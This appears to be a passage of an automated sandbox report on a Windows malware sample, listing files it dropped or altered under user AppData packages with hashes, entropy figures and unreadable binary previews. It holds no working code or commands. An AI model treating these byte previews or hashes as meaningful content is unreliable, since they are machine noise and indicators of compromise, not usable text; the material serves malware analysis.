Preview:	.PNG..%....i....M.}.z.j..w......>..M...O....?X.7.\}..I?.Wg;._.I.....'Sk...........X-f...=.=%..1.-xwz.H[BV....`6.<..Oy.....V[{O...6. V...y_hb.....?...".m...X.i..6.F.`..r#c......x....k50...0+?..z..&/T.R.U...{...!e...R..eT].Gsh..........5..s.................N..n..'...P...%.........C.).4..........U7....`.Wh..,.......=....;e{..._7)R+"..l....Mv.....~C.....9...i.v.\|(.j=.K'.~:!.L.b.t........8.R.\...~).....f...a.X.A...Z...V....wW..l.........y..~>...\.. ..Z..aeH.v.$.Q....(~.%=.......KP...qy..<....\|.....9..:.=..J7.NbT.d....w)...rb....?.g.....H.+Ma.BT.....A...9...\|i4.~.X\|/F...V..F.o..M.?.s.\|..N.......[...2.sO..j.).1bk....V..^C.........j....pb.0.E<......./.\|.6.M.......~.....ad.q,.h.~H...)......tU....%.Z.s..2.E.JKn......49!.../....Q.........I%.*4\|...d....,..?N.....3..&.!{l{.....yp. .....xyl..}.....f..HdB.....IL.[..a.....y'...Fj..Z.wW9...,H...Y....gs6..^..X...d.Z.X.~.?....5...I.....A.klG .I[..i8)K..q............U...[$q....e..Uq.Yrx{4.Pu..m..(.H..FWn..:1.!.W.......

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\7603651830\tinytile.png

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1394
Entropy (8bit):	7.835551802817076
Encrypted:	false
SSDEEP:	24:ILDSRf5BLedSzH/4COkamtZq7XuaSxJkpGp7GfOlkj+uHxX1O76wKoHV6lVbD:xnedSDgYZwrqGpGBlkjbHxX1ipV6lFD
MD5:	BF7CD2B499110452DC4BB0610BEECD54
SHA1:	52525F4D54393639585EDA859C8959B3160119DD
SHA-256:	329DEE63012572F8CA202F1CD1458169192287770A9C7B1B40894A4D3E6D3891
SHA-512:	5E510B2A666B874DD6CC27F8EEA362E270EF1F4D19D2ECFAE886BFB50E3B8C43744CF0740F775E7CECB9375A5E3F9B6ED7820AAC9032AE799B1C6CF39A731604
Malicious:	false
Preview:	.PNG.Br;..vz...4....m.>.......;..9.}.[.?YU..aa.....p..af.l+....j,..2.#I.l.Y\|.....hXV1.Tv..m..y.....J..9.g}..L9...z ..U...3.M..#.;.d'...!..../.......w"......)f.Y...!..&...1m.{?...H-...[..Mq./..e.-P..(INx.....2..)2.`%.IKd.8.n...=R....tmk..*......6z..z.......t\|....N.........m..6<.....&...2..h..)..i`..!..\|.....W.s..N.r9.Q5A.mn....9..gN.IX..m..s.b.@.U...&....ik4.X.m....Z......g..6....P.M.5b.."U.`(e.m..E.?....7..Z=.e..0...l...D...Q4.......#,R.....n.<..}.......95...ru.....v~!..#."j....~..}...q.0w........q&......-.8.v..X.b.S.l.x.1.7...R&..x..G....b...:7.mM......h!.P.8......~....h+.....0\|....v..;..J......8'(....P{.[...HE.._.....Pt...Y.&..C`.....8$....'.F.1..1.t..%7...SG..w.M../..JY..o..1.@.._.l..I.FH.q.v<m..{.M..-@m.5..,...`....V........a.9.a.e.....!..h.4.rj..O.V...o..9....Y..RJ..Er.V.yD+..Jn..Bq.)...F,...w].k."...Y............r~..s9..le..c..RV.M...P.,Cz..9.?.}..=A4.M6./LZ..0..B.5....../..f.Zx.~... .......G.^..~.....:......: ...mJ....8..m...C.

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AppData\CacheStorage\CacheStorage.edb

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1573198
Entropy (8bit):	1.386006124778789
Encrypted:	false
SSDEEP:	3072:SYzpZGZfswzHkJsIn8D+03GpOeTKgUa7BKnvB1POLV0kg4xt8nOXwzayZRuQayZs:SoZGaW4/2FWBTKgWTPOhVFanOkB9y
MD5:	A24569E2990A3F15EB173F1AF3184292
SHA1:	75364FD0E5F771EDDF2633012E3024FD0285D6A1
SHA-256:	0E47F0D6A40B328E3093A41C964E334435456DEA3E19819DE84D4AFDB7BB0D57
SHA-512:	B6A1723AD0FB32E9B2EF65105FC508EE10A1B8C83F212A2483CC9ABB304A566B2F500448F26A704DDB18FD3879E5F1C1C2C494D8BBC1D2913B8FD95C86DC1EF2
Malicious:	false
Preview:	o......>..^...x.......P-.......+..V.J....x.=UG.....n. L...Xb......S...DM...B.z..9.N.(.....(.((....N,..JH....^..W....9d.9..$.w8R.......n..[.v.eM.-\o4B...g.r...M.0.].....l.....!.\|l..$...7.P....X.`......`...:...C>}]..r.)..I:....8/VM.M0O..\......$..+M.5.1h..k.X..[M.......v..t+L...].=.X...EtlGD.. .V..].:.qIc.:n..O.5..E....E.".K..3/....+....+............._:<..g..M..5..%d...v......Q6.-.R...bX....yP..R..1.......J.S..6-.C.Ur.Q........`....".%..1.S.....@...Hz.8.q.P9.b...X..<.../c..jKjo.....~..Se....}.0#1...Z.4......[OH.l2.Yh..`(..~.....Yeu.....X.I2.[..5.. ......UT_,.Ub.g/E...1.N.f.?.g.`.w....,?s_..v...]..._X.6.p.aM=fFAG.n..i....".A.+.s..Y.\..........z.[...G..`.B....S.C@..\!t...E..$".q..[\|$C...qZ.1../N....b.F.y...).E.n.....R..k.!..2...C..o.f.?j...+.I....,._.......(....4...kz...z.[......_.$..6U..j.V......Jk. .r...d.X.r..8...h..%&kn..IXS....'B.tI.RS.xT.{....W!...v. .......P.\.m7....n.a...I..Fh..\|...8..r.".G...Y.....2.....R.8.......2..,*)..x...D.t5.S.%

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AppData\CacheStorage\CacheStorage.jfm

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.989134405390072
Encrypted:	false
SSDEEP:	384:Dxr16X/S2gGbg8npEw2oWvYMl+Cwd36lKW8yss:DxAqannnjWYMl+CO3cKWh
MD5:	C5EDA1C5BA2897007DA2FB6A2252E594
SHA1:	2C8765C0BB7193DA0FCFC7F6F2E4327C8356A2E1
SHA-256:	CD1F76FB41C6D66C5CE3E13B92D2BC7250D0147B059FD4D57ACF6A3008D1810E
SHA-512:	5DAC03C07E7BA9EFDF34AC152EACAEF4974F51EA2DE89889E00682B56D2EE492220E3B568EF896852976CB7FD6D9B99455B44E67F38B0B7CFD7490D87E80D407
Malicious:	false
Preview:	.....2.g.g...fR.?.Ss...2..........d...]..nij,....n..$.D.c.\.0..G.M..nq.N......dm7s+...VQ..3voX`...Q.L@....\.....J..Y..5\e.0.2.M.)5.........'....`.H,...4..\.'.R(.ln....\|U.Lj.".b.T..1j..Nf]...Z.$...VNJi.pIH..B.).Y4.BO.....E..W@.......~.'.....K2..F...8.g..Y3.tb>./../..Z\....&..R.2..F..c.c.6..RR#.d..f..DNi.n...@...~...)F........7D..%.I...T.7.x/..X.T#z...Y..V....""7.f]..=.)z.IN....`=S+...:=.`....+Fe^.p.Q...Q.`M....tr..j..Q..v.....F.G..N.\=..Q...l.NY&......l..%eAzy.N.mI;...6..}..(:0.o..,..;.\|.<>....[<.:......{~......+.>.KL..8[\|.0:.G....8.S.Q......8-6#..uG;^..z:..J.)..O..X...O....v.E.h.bq....nwq.C.b.....&.F.1&.\|...cvq3c5..F....'UV.Y.U...w....G\|..5.o.;....-.#r?...i...w.Vp.7.9...ca.51.kV.o...QlO.U.o\|.{.+.QF/.S..6.l..C.......S..c..T.......I..)...f.t......a..\...o..&.?@c.......d0l.;..1O<.s_..:.Z.fT....`...1....3_.'..)nw.Zya.B..^fz&\|o..J..08\.<.F..uE\|...xU*z.H.y5..[OIx...)..r&[..v.T..y..Y.3....Q/<U...;..j.......k]09.X.2#..@4.W.D.............."...6RLehZ

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\SystemAppData\Helium\User.dat

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978355388570904
Encrypted:	false
SSDEEP:	192:LEmPj6SJgjax5///RaVNhYoGhapMsRPbV3Ta1LGXMNS:LBW2guV/oVz3GhaCsRPbVja1LZNS
MD5:	F21A0ABDFA9B493CBFBEA3537E9EB0EE
SHA1:	916B11C4C184B8F9AA8E20C4ECCAE31987791028
SHA-256:	DB606B798EF7A33A4B5B68A6EF26B513D9B578F2608AB182067554EBA43BD06D
SHA-512:	0A5C07C0F257E8A494E84A87BFF138DF08DFB4E4552636D614BAB2573AC101AE5D9B0446C705734A44B6D51CB0399CDC0536940086B9984CF189C1EF69AC27D2
Malicious:	false
Preview:	regf..1.7..>!.u....p..Q...i.[$..jG..C.w..w.+.D.M.a.y',..v.......7.......".Y.{..$W......<..X.E....K....:..q..!!M.j.H.;m.....\.}Q.lL..9....Fr....I^..=5b3.L.bA.R.bpY.L.".6W.f.V.tx.Y.8L.er.h....{.....U....5..T=-...t..0.Zh...9..{=#<`p..}D3......&oG.abZ...B.a.$......^).....p{m....+......e...%..y.n....w.x...Kdpgv.9'E..U.....6RNg.3.V......Z.t../.S.../h.......6.V........n......s....(y...h.^.+..{..Vg..O..q.CyE.}.?.%....wmL{P..f.T?t.5.........U=C..u.k...&.v.T.......#._...._Ds....?/r.ns.j..E.K....F.....t....>EI..M^].J6.(..7.....#.u.x2C....!Ew.....#./.s'...~#.YK..u...-....@^..iW[.r....i.Z.............lV'A...f.E&..1....(..`..c..j......u..<Q....f...(^.x...Q...[a...LH.X......sl..B.{v+X.....J`.j.....W.2..\|..x.%.>.z.Ze..)y.e%-.Df...h1'.{!.yE6.M..W...0... .VF...D.._.>...v.]}.UL...o..=.B....Z.q.....w..4...*....Z.h..h...k.g.....[.a[...i5..g.y.....G6.F-..5.6xW.G..7...52H....h..,v<.E.....n"..!.........4f#1xdu.(.W].t.{..P..j.$.[....:.v5.....5K\|...b.......

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\SystemAppData\Helium\User.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9720926323565005
Encrypted:	false
SSDEEP:	192:yNG/afMC39R4gsMbnUoPLQP9hdX1ZqPlIObM9Swek7zMVW:7CfMC3n1pbnHLQjVfq9IOgsagVW
MD5:	E5A0500B04971176D5B7FBD2D5602BF8
SHA1:	E1F896054A50BF4F0F25E3620115FC1D642272B2
SHA-256:	17896F0C5F1DC1A8E411257A0C3520C20B93072D428516BB7C45D2651A51A4A0
SHA-512:	ED9E63174574D590C63E00524D58AAFC2B0CB77BA0D13DDABC483B1F2D5CC0F398D2CC3656311EFB1C5C062B1A5C0D2B4CF09A6ABBD5776A859EA39EFABB66ED
Malicious:	false
Preview:	regf.....-H..a....."O..d..lm.Wd.u.O....mY&....4yx....#U...Y.P.r..........y%7,b....iJa....!i....G.V.P>V[5....uy..@...~...9...x....n.9f...Y..l.2^._....T...g..}?Dr........?0,.-...5.nk...Y./O&.!.H..O..5G.)...O.k.nEE.{....\|KT.t;.<.Gp...s.@_M...'...>...)..S2..N....Q.?:.... ...%.,..R..D.qv.A..F..mHu.q.R.2.{...'.s....(.j...F.m.......I@.u.f.2...>Y2.X.~[.~....n..a9....X...oGj....E..p..,dB."..N.'x....U.8./...#..z.WJ...4...8.fh..T>h........(v...;...qt>..$.D.].x.....Jb..#..7.X...G!;G.aM.0d.....Z..D2.LH...%..k.&.'@..."....fuH.OM.......<'sJ.`rEI.t...6..'L^..1....N.....!.k.....G.......h..._.Ie.....L..".......nQPo...'......(X. -N..].k...$...>...T.Zv.]..oa....d4.......MA~S....APa*;.,.v....."..[..3.L...z...B..r.. ./....S1E.. .4...%.BX.. 6...op..u...N...d.o...k.'..$.F<<..........p.T.V.!.%..>Y......<..r....m..=D.y.m.v..z...S.j.&.....8......m..H;....4.QAzy.,....{.^...{a.o...L....j.Pe....3_bt..,zM.p.Uj...D..v...0..i2.x.....m..+x.3.....c

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\SystemAppData\Helium\User.dat.LOG2

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978621398157145
Encrypted:	false
SSDEEP:	192:Hn5KuQvBijFqsNhYuPVxYm9ldTkOpq3yquYyT:H5XZLnYuNxv/dTzoLyT
MD5:	AEBE73668A686BE7E1DE3CEE3409D7F1
SHA1:	0CE133B92A871E751D470CD874BEF5365E72B93F
SHA-256:	CE3BB0562F07C1FAC17932DB4592FBC345F6247D7539C7BF0AF3B31353FCBB1D
SHA-512:	CB46E2874372FD2C5A321470F5A3A98619B30031E9E760766C3891BE2C2AC8B05623941A9F4797A77740B715D6086FE3190163B6A81730C2327BFB6B497AE40D
Malicious:	false
Preview:	regf..m../}..A..R3....C.....ev...."..Yx%eL..zM..g..j.R..]..........B.O.D`..e3..d...e..n.].h...1%.......K.['T..t......%.):S..i.b^.R.D.l.eVA.(....5...%.8n..d.k......'9.m...6-.......U..in...j.<O..Vi.Z.....T..<R....6.Z....Ol.......6...tg..@Pv..4.zq.....................>...jG+......r..&q...ZJh.".b..R..6..s.1k...@..v4......#.......NH.`.x..e....K...jw..E.R.J8.}f...y}i.b.H..6.M...F.m,E.N&((.w...e...=.........n:{@...O...I..../.?r.8..K~.b...t.1......)M..oqkm..'.....9b........DLn.gA.8..6.Z.z..J..)VZ.[.)F.>.>.....(.-.....Qb...:...CL...8....9~.0D.%.W!`..f0.K-},.5C....S.$..<.@...j. .~.Z........'\.......>p....$t;2.&...U!fE..M......'0Y\|6.L..U.;_.G.<.F.nG.M.i.X...../.........%.......h...=.@.H.."...L...Uv......0..<.gyB\|h...kp./...M.m.e....}...f...&Z.VK.v...A.e..^...!..'V...-....G[....._.k..]\|..85..x..i..g...;.k....{.aM)...$.......cB.G.B.....<.QN..p.......}./..9.....h.j&Qg8/..M....L...4b..}..'......o%....E.U...Ge.:gJ...*axi..\.."..L.:.Xz.r....kb.....3.{.&a

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\SystemAppData\Helium\UserClasses.dat

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976256739459758
Encrypted:	false
SSDEEP:	192:87s6AegEycBJniFLla4Q5RtTU52kFN3Y189lZRqDh:87bHgEycB0Y5L45e1OPC
MD5:	3D11A6F35CCBEBFCA244725A41C90672
SHA1:	943880FF8A0688F9C0FFC6C7E96558B01B5E58CB
SHA-256:	6E3BEB28F0D30B19BB1BDC319BD2878C7C7435AE90D3E97357AD0930CB49FC64
SHA-512:	7CA8C419DBA69E9CBE748B42DA97083FBE93E937A0F068AD099953B9517F4B44CFC232FCBD104C7AF7FEDEAC14CB4E227030853F33AE1EEF3CCEC3AD9E878703
Malicious:	false
Preview:	regf.uZJ.).x......W.$..&...u....Rf(.:...z.3...)...9..)a .d.rqB..A.z/....k.?..\.K..[!.>...M+K..c.>.Uv...b.......u....^$]Q...;..Y).Q....rIM2.w..0.ag.:.E..X=...8s..V..U.50o.R.Q<..zH.Uu..,............ xs..\|<v.Ikg..s.p...........h.BeR.>..}....8..{q.R-.J....x......8(.JH........)u<83.v.?..6.....M.....ayFVS..'Da.b....I.../..W.a.@..M).....jC .XD1...%\J.h....'....h.e...N........ I.. ;.9h.......ke'..l....ffHvw...z:......%Sa.7..?I@..HO....w.5f<..:.L.........s........(_D...x.reH.W7).......f..p<...P[..7..X@..'.W.r!.G.$...$.J...Y..$.Yb.-.1.b..6....:...y...H..\..............B. P......r..k.e.V.).{n....iQk...Y:3_/63A."...e.O).......@...O.."..y...aT(z6,.8..C..O..^bf../.&...U..IIH...A..<...&]NS\/q#..9....-T...WW.. -).......AR.'.>.w.....d...7lCH.....^..O.y.r.....R..g.I.gb..mW.I.p.....&.uP..g.=V.\.gE!F..vO.9.O.T..9...tca..r4....y...?..`t.....a..(..W.....D..].%Q..Y}C...!..j.$..`..6...;.7..uQ..n.U..+............FW..k..{.D..k........(y{......x.

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\SystemAppData\Helium\UserClasses.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977163197270729
Encrypted:	false
SSDEEP:	192:rYkEsqA/ZDkdI1Uw8mucXBPmjQUAq0oC1Ekz56JQd3T6dftzWxGaeq:REm/ZDk3/AtknA/Vz5Sdftzvq
MD5:	B1920C11E55D323717839892A3FE58F5
SHA1:	F766977378A76F10EA79BEF6CBCB7D420650208E
SHA-256:	87250DDB68A21DF1A6EEA41C043D018FAE7CF1D7A35FC2E793634AFAAB6DEFFA
SHA-512:	5E58CCD566D78FFB140AE484FADBC7B0FCE6EACBE2BAB7CF7EE39FFCF457001E3643E8CAB36941A2CCA753446813BCB3C9F1B3D675EA63D2836D017576016546
Malicious:	false
Preview:	regf..1Y......p.w.%.w...<.WU.....h.z...m.F..o.EH.sI.`.RC.S[2.4..;.....;.cu.....v......R38..R.&\|"d..1...+)1.....A1G.'..;..$.1=s..\r..!.(]<s.[.J.w...b-....L.X..j...?.u+.z..9@j.......J+C0...n.;..d]n,DO.y\{...$c..o5....N.4..`...'.L^Ss.......r.....Z.....]I..t..k:r.....X......zCi..H.lSe.D..b.8O..T...n...dY..G.W...b.U..3..\|..gibxdEF.\|.. ~."I..c.s.n...'.{6n...@.n.....Zd...efiW.c7.....E........... .....C..... ....(/.M......@..=.O.a%G....k.8...}....."..S2(..{<6.@....a....P(q&LJ..R.N.W......R0...... ...p:i$]i.l...;......N.v..."..D.@..&E7..DO.V<m._....S..0...F.U......,b.O....l..\|..W...=.\R...V...\v......s3..?#.hN ...WFK'>^...C~...f&.H....#.H..j.(..y%..6..!..../>........xR.u#.n......x..]...z.m.<.3_F.3..0Gi...6A..7\|..c8`%P...Y........l...\|4...a]h...m....x..'...SW.-...U..Z....Cf!.Wg'...]...#.3E.F.;E.8.q.7.;.O.e..L..p.c.......E.+3Q.5.Z.R.w...\.......q.Q..8..%..<.Rs).P.Q0%. .Z.M.\|..5....J.....w..D]}.1.}..}....<..e./..r.3..dp.....,.%.8..\|k.1~.d.....,c.@....!

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.edb

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1573198
Entropy (8bit):	1.3307901962227442
Encrypted:	false
SSDEEP:	3072:1dLHuANTJwnqjySvZV94jlPixd0oGh5mi9HcZCYPLOTv1O30xdIG48+PkP/aOaJt:GEsqmSJwvJh5mi9dcLQ1W0xdIg+8P/G
MD5:	17817950BC51FD937BB7184587D3A49C
SHA1:	FF1039DF674972998703534B221067851EA28C7E
SHA-256:	755A1F7B9E605003D66CE7E68AED0E8DD08D95BE5A513DAFFC3F5C97041E1405
SHA-512:	77779615D5D63B306AF335155FF7B64B07CEC6BA9937FD9C890F4CF9A9FA08B1C21A05D17286A20E069D2843479714ADC352D71F3E78BB0490BF0A36EE1A6875
Malicious:	false
Preview:	..4t..q.eS....'j.....3...+..;I...z..?.X=<.......v8K#..}.W.#.p.-B..P.o=.x....K....@]....T%Q....A..IhQ..k..nE.....p...W.`.....nv{1..G+....j.f..i.[.Z,.J..2#...).<%."q.......N....6.....yq.....;......k.yV.b.7...~. ..F..u@..;.#..XO.."6.%..X.R.........B.L..5.=........S.....3....X...9.Cc_n.....g....u.....O.bdM^....k.....J..uh..J....Q...7lb....v+n~."!....+3.Oq.1.....ot!...#.....n\|L...o.~.o.....o.+...>X^-&y....H....d."dbB..W.6\3.DM..@......$...X[.......e+.Dx.[.......... .v}.5.....B...;.i.....z.........`D.oW.......X6.R..0.1o.u..d.5..);...\.0J.........9.4......mP.....IwQ.)._...S!......_..3D......A...rC...%...\|. .....V{xwO.......U.X.V#O..-R...w9q.T...g.t`H....s..W..to...^\|o{...O..$.m.W..>=.B._.........K:.%.2G.D.b..L...1h.k.@B\UlA7&....m..\..tw..9..J5&.._.],.QQWp.p..2v.!^b%5-iI.;.N.g....C... ....w.@.W.e.s..<I....q...A.b.,3....7.@...k\|.:..p.....8+.K.u5.`W...#RE....7b.."2..Z.).r.7.$6.!.fo........a.....V.......#o.u6.W.q..x.%...Q....2...T.m9..U..".}../:.n..w.yV6

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.jfm

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.989284779216084
Encrypted:	false
SSDEEP:	384:JBpTDWGqm0XIbKZvea4okVIEDL9PLPOeCuwzp2Hra3qwI:JBUw0X9Zvea+hDPOeDwuv
MD5:	9723E67772E5E98FEFB4BA8B289FBFC7
SHA1:	690686116FC4746A5A4C0239FE786E5592B5977C
SHA-256:	E3E18A0B21DFA152EC15AED8885AA36AB7FD814476C2FA1AFE76E32A8683B564
SHA-512:	0D7ED813D372A4D773B9F196A50556178143E3DAB623C86E2C95DE09ACB278011C21F06F462CACF50471C56B6EBAA425828553FF96FAA902151DB2247AF48A84
Malicious:	false
Preview:	..}........L6.3....-...G...Z.4..ob...@:.l......4.(4s$KlN.P.#...'{......AL.G.`........z..](..\|oK=h&......<W.........xu...l.p]#....S...[.......z...j..3...n.2........B....wN..Xq].q...+.H}.'.:.t..Yq.3.KG.Y q`.X......SJ.\.i&..u.._..U.Cy..e....._...D..<.G.QZ..$...[].RCNDa./bW...=<.z.F.r..E..!+=..x..{\|...{..x.i..^a...J"....1s.........M.....H.Q....5rq{.&.&_.<\DT.."...A..`.].\3.p......]%..........CS..<..$...Q..'z1.C.~F.....S....q>`.f~[....>..+...... ....).K}.}.Z..+ ..>....'.....}.Z..0...KjBj..C<...O...O.I.@..3@.K^.H..2i..X..,B..1j/....@'.j.......5.8.....(?2.9Z.. ..6..)...H..i....av..\|<."..!...T..pI.......\|.`..N..9b.:..'$....p7.....!#- A.fw.L;.G.E\|...av..^Vf.....j...=/'...i..u.........z.}...?.SN.`W..'H.........a&}8.d.w..5,.]...0XK.l..........qcT...o....J,.;P'........:......ai....]....]$efx.&.1.m....I.H.....T._..d@.>8.L{...Z.8Lb8..p..Xt.....n........g..uL.y.._.p.<....uK.9...}.2y..#...."....".....&.1h&%..>.E.......h....YY..{...O.B;.....c/dd

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\778a09af-71b3-49bb-83e6-36722d62514f.6dfb6b5d-10db-4868-b4ad-ef207a2dda1b.down_meta

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.892972707920949
Encrypted:	false
SSDEEP:	48:SUHT+j5Xx5n0o5weasT/z42A4+cu2jrZokUg8wBFD:SUHTmX0W1asIL0u2XZoEB9
MD5:	B2A14009AB7CEA762055FDC8E1B6A89A
SHA1:	606A64E27848856F89A4CF9F3092572241342813
SHA-256:	50AB99068EA82D34A01D9203C03412D6C641080DE1DA3540E0012A0D9C224837
SHA-512:	3392F5AFC037422D4518E36D185023CEDE66CF2D1AB9B76C87FF9CFCE9C296E7553EA7567A0A0D9C5C11AC059FC6BC434DC2CD2C9166590493B7F3626B0FBDDD
Malicious:	false
Preview:	h.t.t.h...'?.=8A.:@j.$.<.VWG..U......9.O.b...O....m...0zS..=&..',.K..#.V...Slr...\.m.7...@..6.C.O....."9.....c..m\}.....~..G...O.vr.....j..!C[.=[o...S..Zy...JU..(`1.....UA....Rx.t.@{tw.,9w....P7..-..]4.Gs.CU\|.....[.aE..y..R....t.6..T..$.3i'~]~...KF...4;>. $.F..~,........Gy.2.0..$.A..n.oq1.. ../..14...f..!./....l...n..jB...aqn.g.bE_.<x(b.yo)wP.$...i.Q_..Q..i...VE......{[....T.2z.....q/._.."_.W.1.,^..0..v.k...G.Hzjy.r.bJ...).G;[.`=j..89.?...1&...eC......^R.a.^...#9.......`.9.RN38Qtp.n....\|.7W.J$..`.:, .......J.....)..0......AJ....\)B.l. .E^....?..)o.....1...T.n.._....y...{e...U./08?....4}.r....X8eA .......R$.L...WY q..=V`........n......J.Z.7N....i..$q..O\|.`d.G.7.....U/9..\|`.........t........?.ONY.. .?p....Y..$)....$g.q.c7.*..@..3LdZF...VY..]....T...m..;n.<..g..u..I.a.a;..w......wX...(...:".%..r.....\B=6o..I.[.....".L..s.T..Y..).,..\|..[K#.S.haWf...+.&.R.mw....;)&.._Pq.. ..]...%.J.O...~=....Y@.z0..=....X.....{.x..a.}.s<.@..?S...

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\778a09af-71b3-49bb-83e6-36722d62514f.up_meta_secure

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1092
Entropy (8bit):	7.815715641515199
Encrypted:	false
SSDEEP:	24:5QySJd5iaQuTVhsvXC1zao5C6Z/Si1Ox6VOVbD:5B+i0TVhsPg5CuKqtQFD
MD5:	F43C4FBCE8A58E6B022F415F99D21E31
SHA1:	A07196536CED197948C442434E6B8577A62FEBD0
SHA-256:	33F3B78A397CD4BDFACB0FF816ADA50711255929ADB365ECCAB9D9D58F148178
SHA-512:	58378DA9AC7D5A51F79908919AB063741DBB4441EF42F5643BE178DC82CE8A5C396D4F02E1F750DFE25B3DF8ECB978EB111D086E764DB448B16AAB3B0CC68457
Malicious:	false
Preview:	...........2..=fl.....<........G....5...]}..r..."!pR.(..+6D.I_d..^..P]...3.+M..s.........l....}..~."..8L.k...OdL.Q.O)....~?.P&......8.E.......G)..P.....I.....)d.{....#.....e..'.j...oL.?6..[R2]...d%.?]]ai..%.....r. .J..Y.<.(.}......?.ey.I...8.6Nc...k.....a.Y...S<.......Dr9.%.!.m..>a.'.:K..>...[..1!._g{?.qie.w.oL.u...E..(..`......<._N4..[.c.q...Z..dN....1PDG.E..._.......B.. g...S.7.!.../.6.......Z..\|.4(.../.UQ.1.[..\o..N_..M3H..A..[K.......O........z.\.)......].x@....:}_S.^O.'.D...y.0....@..v...:.e.Oa.....{.....qb......D..k....%.3-....o?p$.}.\|..q..)..2..!sf.N..H...[..4..W._......#e..k.A..[X_.=.?L..[.-..y$.".,...E.x`.k...x..fO..t..,=~^7.oH.....7N.pH..........W_..T.r.:T....q..&z........~prk.......R.]q4..c'wh.R....w..M.^..,..g.g....U......V....(..@i5..0...Q...........%d.%..b.Mt......5.o..=t..nP.P.Y.\.aQ.#. 8...T...tN2..CA..gO.F.6...S.[$.pb.^Q.s.......do.Grg..}..k-.X.6..g1....t..J..4ar.5w9...SN..j....4.1.E.IEZ..8.[o+u.U8.J..>..'...C&.s...F..R

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\TokenBroker\Cache\e71e1300703d5395820e448840a760f0dd25ad50.tbres

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	3084
Entropy (8bit):	7.947305622886653
Encrypted:	false
SSDEEP:	96:NDlS0sWAj7PkgZgfQv6fryVo6CKu8ElvuhleLrn9:S0sWA/P/mQOry+dKuX2hix
MD5:	7C3D1F4EC404EB33BE4C8FAD50DB731A
SHA1:	9FBB6014F60BE71CB93597A9219DC3DAC4EA9249
SHA-256:	4A42D7D31F733F61D99226CCDB969A4FBF59C4FDAE807806DA9551F66B5C0989
SHA-512:	EAEC7299A2A0DEDEA9D2F3EBA164377862F3A7C43BE2C3DAB8918EE0E242CF7D116A66191DC48187BE3293894ED8DFBE69C72CAC647EAA519AA6CB34AEB890F5
Malicious:	false
Preview:	{.".T..Gr3w....e.."........d.P.zV/...x.........c.9.z3..w..Y...sJ.@..2P.^...+B8..Ti[...3..N.F..p7.w.7H/...X.<.X.'.(.w\..._..OG+.ZQ.1v..W.~.>fKVA.U...&..^....;.p..H.:....i..#Y..P...e.W.......(X.`.88.....u\]..)2.gC../.:.C.....\H......oFM.......M...3"{..k.9..n....5.&...f.yJ..~.a^1._..I{.9..%...s..vW..i.%....N..2........./..."v...........m..41...e..oW.._-.y4M..d.b.X..a.....L.m.q...0...!.......$...o.Q.@..M(6.(....;.V.m..F.q3.]n..@.Pw...t.J;..U...o......!\.m.`vN...i...)...I.~....b....7h...Fy.......c.._f.3&..OJ.Y...?..h.L....H.....L.n...._+....:...0...V.%...X.ja.........?!..}.M..Wq.......I..-,.........w=.....NT.9P...C&Ak.0k.-T.E.g...j..h....r.4.f..'..8.@..+...]..;<.....Y..8$#.`..xW....Fo.\|.["\.\|TvAj.#.Rq3..p.R..B.".+....7.V..X.6..P.....-.....f.5.....L.kFg.X_.Df.....x.I.$1...Z]...h1uR..Y...I+.....ZQf..B_9-....r...,l...P>......>:....B..g_J.).>e..}.=.P..L<..,.....;p.......D....GN.0..x.......Z.ZQ